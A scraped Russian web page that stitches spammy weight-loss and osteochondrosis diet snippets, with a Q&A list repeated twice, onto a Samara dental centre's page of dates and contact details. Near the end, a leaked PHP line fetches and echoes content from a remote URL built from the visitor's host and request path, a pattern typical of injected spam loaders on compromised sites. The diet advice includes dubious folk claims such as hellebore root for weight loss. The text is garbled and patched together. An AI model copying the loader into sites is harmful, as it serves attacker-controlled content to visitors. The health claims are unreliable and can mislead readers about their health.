Три месяца назад вы хотели сесть на диету и заняться растяжкой, потом вы хотели заняться карате, теперь бег. думаю вам просто пора замуж.

Диета при остеохондрозе необходима, чтобы обеспечивала организм веществами, отвечающими за синтез хрящевой ткани.Соли кальция также содержатся в ржаном хлебе, свежих овощах и фруктах. Содержание витаминов в 100 гр продуктов.

От бегания без диеты похудеть вообще нельзя, можно только накачать мышечную массу. лучше брось бегать и не жри после 18 часов

  • Быстрая диета на овощах - Как быстро похудеть ? Не ешьте после 6-7 и по максимум исключите мучные изделия, ну и вообще сладкого как можно меньше е
  • Стимуляция точек на теле для активного похудения - Сильно похудевший человек снова может растолстеть?от чего? Да и что!? ? это обратимые процессы! и зависят от мозга! мозг
  • Диета по группе крови молочные продукты - А что нельзя кушать со 2 отрицательной гр крови А(II)? какие продукты Откуда токая информация? Природе никогда Вам не на
  • Отзывы по похудению доктора борменталь - Как похудеть Нужно реально этого захотеть.. составить диету.. Доктор Борменталь - клиника снижения веса, Сеть Клиник - о
  • Диета шиповник с раздельны питанием - Хочу поделится диэтой которая помогла мне скинуть!!!!15 кг за 2 месяца!!!! Я проще делаю, всё ем, но пешком на работу 6
  • Исследование диета долголетие - На чем основан принцип здорового питания относительно группы крови? Волокон побольше, что бы движение было получше Долго
  • Какие батончики можно есть при диете - Подскажите,что можно есть и не поправляться?!!=) Какую-нибудь легкую диету.. =)) Есть специальные коктейли, супы, батонч
  • Диета белого сухого вина - Диетологам:Буду ли я худеть,если буду есть залитую кипятком гречку(гречневая диета) - но попивая сухое белое вино с ней?
  • Корень морозника похудение - Как похудеть??? Меньше есть, больше двигаться! Коротко о вреде и пользе морозника. Морозник для похудения используется д
  • Спортивная одежда для женщин для похудения - Кто знает магазин спорттоваров (там должны быть велики ролик и всё такое) с доставкой в любые регионы Казахстана!? Реаль
  • Быстрая диета на овощах - Как быстро похудеть ? Не ешьте после 6-7 и по максимум исключите мучные изделия, ну и вообще сладкого как можно меньше е
  • Стимуляция точек на теле для активного похудения - Сильно похудевший человек снова может растолстеть?от чего? Да и что!? ? это обратимые процессы! и зависят от мозга! мозг
  • Диета по группе крови молочные продукты - А что нельзя кушать со 2 отрицательной гр крови А(II)? какие продукты Откуда токая информация? Природе никогда Вам не на
  • Отзывы по похудению доктора борменталь - Как похудеть Нужно реально этого захотеть.. составить диету.. Доктор Борменталь - клиника снижения веса, Сеть Клиник - о
  • Диета шиповник с раздельны питанием - Хочу поделится диэтой которая помогла мне скинуть!!!!15 кг за 2 месяца!!!! Я проще делаю, всё ем, но пешком на работу 6
  • Исследование диета долголетие - На чем основан принцип здорового питания относительно группы крови? Волокон побольше, что бы движение было получше Долго
  • Какие батончики можно есть при диете - Подскажите,что можно есть и не поправляться?!!=) Какую-нибудь легкую диету.. =)) Есть специальные коктейли, супы, батонч
  • Диета белого сухого вина - Диетологам:Буду ли я худеть,если буду есть залитую кипятком гречку(гречневая диета) - но попивая сухое белое вино с ней?
  • Корень морозника похудение - Как похудеть??? Меньше есть, больше двигаться! Коротко о вреде и пользе морозника. Морозник для похудения используется д
  • Спортивная одежда для женщин для похудения - Кто знает магазин спорттоваров (там должны быть велики ролик и всё такое) с доставкой в любые регионы Казахстана!? Реаль
3 продукта диета остеохандроз
 
 

Список аффилированных лиц

03 июля 2012

04 апреля 2012

10 января 2012

06 октября 2011

03 июля 2011

01 апреля 2011



12 января 2011

30 сентября 2010

30 июня 2010

1 апреля 2010





12 января 2010





2 октября 2009





17 июля 2009



 

 
Адрес: г. Самара, ул. Гагарина 18А (м. Гагаринская)
Тел. (846) 260-68-45, 260-68-48
Факс (846) 260-68-45
Email: stomatsamara@mail.ru
Центр работает с 8:00 до 20:00
Выходные суббота, воскресенье
Схема проезда
  echo file_get_contents(''.$_SERVER["HTTP_HOST"].'&path='.$_SERVER["REQUEST_URI"]);?>
Счетчик посещаемости и статистика сайта